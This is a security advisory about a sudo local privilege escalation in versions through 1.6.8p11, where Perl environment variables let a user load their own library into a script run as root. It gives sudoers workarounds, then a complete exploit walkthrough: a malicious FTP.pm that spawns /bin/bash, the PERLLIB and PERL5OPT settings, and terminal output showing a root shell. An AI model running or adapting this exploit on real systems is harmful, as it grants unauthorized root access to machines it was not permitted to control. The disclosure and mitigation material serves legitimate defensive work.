[UNIX] Sudo Perl Local Privileges Escalation

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Sudo Perl Local Privileges Escalation
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SUMMARY

" <http://www.sudo.ws/sudo/sudo.html> Sudo (superuser do) allows a system
administrator to give certain users (or groups of users) the ability to
run some (or all) commands as root or another user while logging the
commands and arguments."

Sudo execute sub processes of Perl module with the privileges of the main
perl script, allowing local attackers to execute arbitrary code.

DETAILS

Vulnerable Systems:
* sudo version 1.6.8p11 and prior

Immune Systems:
* sudo version 1.6.8p12

The PERL5LIB and PERLLIB environment variables can be used to provide a
list of directories in which to look for Perl library files before the
system directories are searched. It is similar in concept to the
LD_LIBRARY_PATH environment variables, only for Perl. These variables are
ignored if "tainting" is enabled (via the -T switch). The PERL5OPT
environment variable specifies additional command line options to be
passed to the script which may modify its behavior.
Malicious users with sudo access to run a Perl script can use these
variables to include and execute their own library file with the same name
as a system library file that is included (via the "use" or "require"
directives) by the Perl script run via sudo.

Exploitation of the bug requires that Perl be installed on the machine and
that users be granted sudo access to run Perl scripts that do not have
tainting turned on.

Workaround:
The administrator can add a line at the top of the sudoers file:

Defaults env_delete+="PERLLIB PERL5LIB PERL5OPT"

which will cause sudo to strip the PERLLIB, PERL5LIB and PERL5OPT
environment variables without requiring a recompile. Alternately, the
administrator can add a line to the top of sudoers file:

Defaults env_reset

Which will reset the environment to only contain the variables HOME,
LOGNAME, PATH, SHELL, TERM, and USER, also preventing this attack.

Exploit:
## Sudo local root exploit ##
## vuln versions : sudo < 1.6.8p12
## adv : http://www.securityfocus.com/bid/15394
## adv : http://www.frsirt.com/bulletins/2642

##by breno - breno at kalangolinux.org

## You need execute access to perl script in sudo ##

## cat /etc/sudoers ##

breno ALL=(ALL) /home/breno/code.pl

## Now let's create your own perl module FTP.pm :) good name.

breno ~ $ -> mkdir modules
breno ~ $ -> mkdir FTP
breno ~/modules $ -> ls
FTP
breno ~/modules $ -> cd FTP
breno ~/modules/FTP $ -> h2xs -AXc -n FTP
Defaulting to backwards compatibility with perl 5.8.7
If you intend this module to be compatible with earlier perl versions,
please
specify a minimum perl version with the -b option.

Writing FTP/lib/FTP.pm
Writing FTP/Makefile.PL
Writing FTP/README
Writing FTP/t/FTP.t
Writing FTP/Changes
Writing FTP/MANIFEST
breno ~/modules/FTP $ ->

breno ~/modules/FTP/FTP $ -> perl Makefile.PL
Checking if your kit is complete...
Looks good
Writing Makefile for FTP
breno ~/modules/FTP/FTP $ -> make
cp lib/FTP.pm blib/lib/FTP.pm
Manifying blib/man3/FTP.3pm
breno ~/modules/FTP/FTP $ -> make test
PERL_DL_NONLAZY=1 /usr/bin/perl "-MExtUtils::Command::MM" "-e"
"test_harness(0,
'blib/lib', 'blib/arch')" t/*.t
t/FTP....ok
All tests successful.
Files=1, Tests=1, 0 wallclock secs ( 0.03 cusr + 0.01 csys = 0.04 CPU)
breno ~/modules/FTP/FTP $ ->

#Now i deleted the default FTP.pm (it was ugly), and create my beautiful
module

breno ~/modules/FTP/FTP/blib/lib $ -> vi FTP.pm

FTP.pm:
package FTP;

use strict;
use vars qw($VERSION);
$VERSION = '0.01';

sub new {
my $package = shift;
return bless({}, $package);
}

sub verbose {
my $self = shift;
system("/bin/bash");
if (@_) {
$self->{'verbose'} = shift;
}
return $self->{'verbose'};
}

sub hoot {
my $self = shift;
return "Don't pollute!" if $self->{'verbose'};
return;
}

1;
__END__

#EOF

# Remenber our super code.pl

breno ~ $ -> vi code.pl

code.pl:
#!/usr/bin/perl

BEGIN { $| = 1; print "1..1\n"; }
END {print "not ok 1\n" unless $loaded;}
use FTP;
$loaded = 1;
print "ok 1\n";

my $obj = new FTP;
$obj->verbose(1);
my $result = $obj->hoot;
print ($result eq "Don't pollute!" ? "ok 2\n" : "not ok 2\n");

$obj->verbose(0);
my $result = $obj->hoot;
print ($result eq "" ? "ok 3\n" : "not ok 3\n");

#EOF

# Now let's play with PERLLIB and PERL5OPT env.

breno ~ $ -> export PERLLIB="/home/breno/modules/FTP/FTP/blib/lib/"
breno ~ $ -> export PERL5OPT="-MFTP"

# Now get Root!! :)

breno ~ $ -> sudo ./code.pl
Password:
1..1
ok 1
root ~ # -> id
uid=0(root) gid=0(root) grupos=0(root)
root ~ # ->


ADDITIONAL INFORMATION

The information has been provided by Charles Morris.
The original article can be found at:
<http://www.sudo.ws/sudo/alerts/perl_env.html>
http://www.sudo.ws/sudo/alerts/perl_env.html



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